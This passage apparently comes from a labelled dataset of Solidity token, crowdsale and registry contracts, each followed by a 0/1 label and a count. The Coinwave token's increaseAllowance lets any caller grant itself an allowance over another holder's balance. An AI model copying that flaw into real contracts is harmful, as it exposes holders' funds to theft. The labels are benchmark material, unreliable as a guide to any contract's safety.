require(_amount >= parameterizer.get("minDeposit"));
Listing storage listingHash = listings[_listingHash];
listingHash.owner = msg.sender;
require(token.transferFrom(listingHash.owner, this, _amount));
listingHash.applicationExpiry = block.timestamp + parameterizer.get("applyStageLen");
listingHash.unstakedDeposit = _amount;
_Application(_listingHash, _amount, _data);
}
function deposit(bytes32 _listingHash, uint _amount) external {
Listing storage listingHash = listings[_listingHash];
require(listingHash.owner == msg.sender);
require(token.transferFrom(msg.sender, this, _amount));
listingHash.unstakedDeposit += _amount;
_Deposit(_listingHash, _amount, listingHash.unstakedDeposit);
}
function withdraw(bytes32 _listingHash, uint _amount) external {
Listing storage listingHash = listings[_listingHash];
require(listingHash.owner == msg.sender);
require(_amount <= listingHash.unstakedDeposit);
require(listingHash.unstakedDeposit - _amount >= parameterizer.get("minDeposit"));
require(token.transfer(msg.sender, _amount));
listingHash.unstakedDeposit -= _amount;
_Withdrawal(_listingHash, _amount, listingHash.unstakedDeposit);
}
function exit(bytes32 _listingHash) external {
Listing storage listingHash = listings[_listingHash];
require(msg.sender == listingHash.owner);
require(isWhitelisted(_listingHash));
require(listingHash.challengeID == 0 || challenges[listingHash.challengeID].resolved);
resetListing(_listingHash);
}
function challenge(bytes32 _listingHash, string _data) external returns (uint challengeID) {
bytes32 listingHashHash = _listingHash;
Listing storage listingHash = listings[listingHashHash];
uint deposit = parameterizer.get("minDeposit");
require(appWasMade(_listingHash) || listingHash.whitelisted);
require(listingHash.challengeID == 0 || challenges[listingHash.challengeID].resolved);
if (listingHash.unstakedDeposit < deposit) {
resetListing(_listingHash);
return 0;
}
require(token.transferFrom(msg.sender, this, deposit));
uint pollID = voting.startPoll(
parameterizer.get("voteQuorum"),
parameterizer.get("commitStageLen"),
parameterizer.get("revealStageLen")
);
challenges[pollID] = Challenge({
challenger: msg.sender,
rewardPool: ((100 - parameterizer.get("dispensationPct")) * deposit) / 100,
stake: deposit,
resolved: false,
totalTokens: 0
});
listings[listingHashHash].challengeID = pollID;
listings[listingHashHash].unstakedDeposit -= deposit;
_Challenge(_listingHash, deposit, pollID, _data);
return pollID;
}
function updateStatus(bytes32 _listingHash) public {
if (canBeWhitelisted(_listingHash)) {
whitelistApplication(_listingHash);
_NewListingWhitelisted(_listingHash);
} else if (challengeCanBeResolved(_listingHash)) {
resolveChallenge(_listingHash);
} else {
revert();
}
}
function claimReward(uint _challengeID, uint _salt) public {
require(challenges[_challengeID].tokenClaims[msg.sender] == false);
require(challenges[_challengeID].resolved == true);
uint voterTokens = voting.getNumPassingTokens(msg.sender, _challengeID, _salt);
uint reward = voterReward(msg.sender, _challengeID, _salt);
challenges[_challengeID].totalTokens -= voterTokens;
challenges[_challengeID].rewardPool -= reward;
require(token.transfer(msg.sender, reward));
challenges[_challengeID].tokenClaims[msg.sender] = true;
_RewardClaimed(msg.sender, _challengeID, reward);
}
function voterReward(address _voter, uint _challengeID, uint _salt)
public view returns (uint) {
uint totalTokens = challenges[_challengeID].totalTokens;
uint rewardPool = challenges[_challengeID].rewardPool;
uint voterTokens = voting.getNumPassingTokens(_voter, _challengeID, _salt);
return (voterTokens * rewardPool) / totalTokens;
}
function canBeWhitelisted(bytes32 _listingHash) view public returns (bool) {
bytes32 listingHashHash = _listingHash;
uint challengeID = listings[listingHashHash].challengeID;
if (
appWasMade(_listingHash) &&
listings[listingHashHash].applicationExpiry < now &&
!isWhitelisted(_listingHash) &&
(challengeID == 0 || challenges[challengeID].resolved == true)
) { return true; }
return false;
}
function isWhitelisted(bytes32 _listingHash) view public returns (bool whitelisted) {
return listings[_listingHash].whitelisted;
}
function appWasMade(bytes32 _listingHash) view public returns (bool exists) {
return listings[_listingHash].applicationExpiry > 0;
}
function challengeExists(bytes32 _listingHash) view public returns (bool) {
bytes32 listingHashHash = _listingHash;
uint challengeID = listings[listingHashHash].challengeID;
return (listings[listingHashHash].challengeID > 0 && !challenges[challengeID].resolved);
}
function challengeCanBeResolved(bytes32 _listingHash) view public returns (bool) {
bytes32 listingHashHash = _listingHash;
uint challengeID = listings[listingHashHash].challengeID;
require(challengeExists(_listingHash));
return voting.pollEnded(challengeID);
}
function determineReward(uint _challengeID) public view returns (uint) {
require(!challenges[_challengeID].resolved && voting.pollEnded(_challengeID));
if (voting.getTotalNumberOfTokensForWinningOption(_challengeID) == 0) {
return 2 * challenges[_challengeID].stake;
}
return (2 * challenges[_challengeID].stake) - challenges[_challengeID].rewardPool;
}
function tokenClaims(uint _challengeID, address _voter) public view returns (bool) {
return challenges[_challengeID].tokenClaims[_voter];
}
function resolveChallenge(bytes32 _listingHash) private {
bytes32 listingHashHash = _listingHash;
uint challengeID = listings[listingHashHash].challengeID;
uint reward = determineReward(challengeID);
bool wasWhitelisted = isWhitelisted(_listingHash);
if (voting.isPassed(challengeID)) {
whitelistApplication(_listingHash);
listings[listingHashHash].unstakedDeposit += reward;
_ChallengeFailed(challengeID);
if (!wasWhitelisted) { _NewListingWhitelisted(_listingHash); }
}
else {
resetListing(_listingHash);
require(token.transfer(challenges[challengeID].challenger, reward));
_ChallengeSucceeded(challengeID);
if (wasWhitelisted) { _ListingRemoved(_listingHash); }
else { _ApplicationRemoved(_listingHash); }
}
challenges[challengeID].resolved = true;
challenges[challengeID].totalTokens =
voting.getTotalNumberOfTokensForWinningOption(challengeID);
}
function whitelistApplication(bytes32 _listingHash) private {
listings[_listingHash].whitelisted = true;
}
function resetListing(bytes32 _listingHash) private {
bytes32 listingHashHash = _listingHash;
Listing storage listingHash = listings[listingHashHash];
if (listingHash.unstakedDeposit > 0)
require(token.transfer(listingHash.owner, listingHash.unstakedDeposit));
delete listings[listingHashHash];
}
} | 0 | 1,580 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract jarvis is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public startDate;
uint public bonusEnds;
uint public endDate;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function jarvis() public {
symbol = "JRT";
name = "Jarvis Token";
decimals = 18;
bonusEnds = now + 1 weeks;
endDate = now + 7 weeks;
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
require(now >= startDate && now <= endDate);
uint tokens;
if (now <= bonusEnds) {
tokens = msg.value * 2500;
} else {
tokens = msg.value * 2000;
}
balances[msg.sender] = safeAdd(balances[msg.sender], tokens);
_totalSupply = safeAdd(_totalSupply, tokens);
Transfer(address(0), msg.sender, tokens);
owner.transfer(msg.value);
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 3,691 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
constructor(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
emit Closed();
wallet.transfer(address(this).balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
emit Refunded(investor, depositedValue);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "CPollo";
string public constant TOKEN_SYMBOL = "CPLO";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0x3374EB92854FF40c1E74a8FE2114d99b38214070;
uint public constant START_TIME = 1534737600;
bool public constant CONTINUE_MINTING = false;
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundVault public vault;
constructor(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function _forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale {
function hasStarted() public view returns (bool) {
return now >= openingTime;
}
function startTime() public view returns (uint256) {
return openingTime;
}
function endTime() public view returns (uint256) {
return closingTime;
}
function hasClosed() public view returns (bool) {
return super.hasClosed() || capReached();
}
function hasEnded() public view returns (bool) {
return hasClosed();
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
require(MintableToken(token).finishMinting());
}
Ownable(token).transferOwnership(TARGET_USER);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate).div(1 ether);
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
, RefundableCrowdsale
{
event Initialized();
event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime);
bool public initialized = false;
constructor(MintableToken _token) public
Crowdsale(200000 * TOKEN_DECIMAL_MULTIPLIER, 0x3374EB92854FF40c1E74a8FE2114d99b38214070, _token)
TimedCrowdsale(START_TIME > now ? START_TIME : now, 1538366400)
CappedCrowdsale(50000000000000000000000)
RefundableCrowdsale(1000000000000000000000)
{
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
address[4] memory addresses = [address(0x85efaea2ba17104a6fd41099cececf29dc6bcfe6),address(0x3681d701b8679c6adb866736d3e523e8856dfa7a),address(0xbb0cd3ab7cb7aff6298dc25ce710052a6c9cb764),address(0x7376a1b427693a78b741fac92824f0ad0988ec28)];
uint[4] memory amounts = [uint(1500000000000000000000000000),uint(1500000000000000000000000000),uint(2000000000000000000000000000),uint(5000000000000000000000000000)];
uint64[4] memory freezes = [uint64(0),uint64(0),uint64(0),uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
MainToken(token).mint(addresses[i], amounts[i]);
} else {
MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
transferOwnership(TARGET_USER);
emit Initialized();
}
} | 0 | 423 |
pragma solidity ^0.4.25;
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = 0x97928f63662795c07D05A21c89F0d62A26078AE5;
emit LogSetOwner(0x97928f63662795c07D05A21c89F0d62A26078AE5);
}
function setOwner(address owner_0x97928f63662795c07D05A21c89F0d62A26078AE5)
public
auth
{
owner = owner_0x97928f63662795c07D05A21c89F0d62A26078AE5;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
contract ERC20Events {
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
}
contract ERC20 is ERC20Events {
function totalSupply() public view returns (uint);
function balanceOf(address guy) public view returns (uint);
function allowance(address src, address guy) public view returns (uint);
function approve(address guy, uint wad) public returns (bool);
function transfer(address dst, uint wad) public returns (bool);
function transferFrom(
address src, address dst, uint wad
) public returns (bool);
}
contract DSTokenBase is ERC20, DSMath {
uint256 _supply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _approvals;
constructor(uint supply) public {
_balances[msg.sender] = supply;
_supply = supply;
}
function totalSupply() public view returns (uint) {
return _supply;
}
function balanceOf(address src) public view returns (uint) {
return _balances[src];
}
function allowance(address src, address guy) public view returns (uint) {
return _approvals[src][guy];
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
if (src != msg.sender) {
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function approve(address guy, uint wad) public returns (bool) {
_approvals[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function increaseAllowance(
address src,
uint256 wad
)
public
returns (bool)
{
require(src != address(0));
_approvals[src][msg.sender] = add(_approvals[src][msg.sender], wad);
emit Approval(msg.sender, src, _approvals[msg.sender][src]);
return true;
}
function decreaseAllowance(
address src,
uint256 wad
)
public
returns (bool)
{
require(src != address(0));
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
emit Approval(msg.sender, src, _approvals[msg.sender][src]);
return true;
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
contract DSStop is DSNote, DSAuth {
bool public stopped;
modifier stoppable {
require(!stopped);
_;
}
function stop() public auth note {
stopped = true;
}
function start() public auth note {
stopped = false;
}
}
contract Coinwave is DSTokenBase , DSStop {
string public symbol="COWV";
string public name="Coinwave";
uint256 public decimals = 18;
uint256 public initialSupply=900000000000000000000000000;
address public burnAdmin;
constructor() public
DSTokenBase(initialSupply)
{
burnAdmin=0x97928f63662795c07D05A21c89F0d62A26078AE5;
}
event Burn(address indexed guy, uint wad);
modifier onlyAdmin() {
require(isAdmin());
_;
}
function isAdmin() public view returns(bool) {
return msg.sender == burnAdmin;
}
function renounceOwnership() public onlyAdmin {
burnAdmin = address(0);
}
function approve(address guy) public stoppable returns (bool) {
return super.approve(guy, uint(-1));
}
function approve(address guy, uint wad) public stoppable returns (bool) {
return super.approve(guy, wad);
}
function transferFrom(address src, address dst, uint wad)
public
stoppable
returns (bool)
{
if (src != msg.sender && _approvals[src][msg.sender] != uint(-1)) {
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function burnfromAdmin(address guy, uint wad) public onlyAdmin {
require(guy != address(0));
_balances[guy] = sub(_balances[guy], wad);
_supply = sub(_supply, wad);
emit Burn(guy, wad);
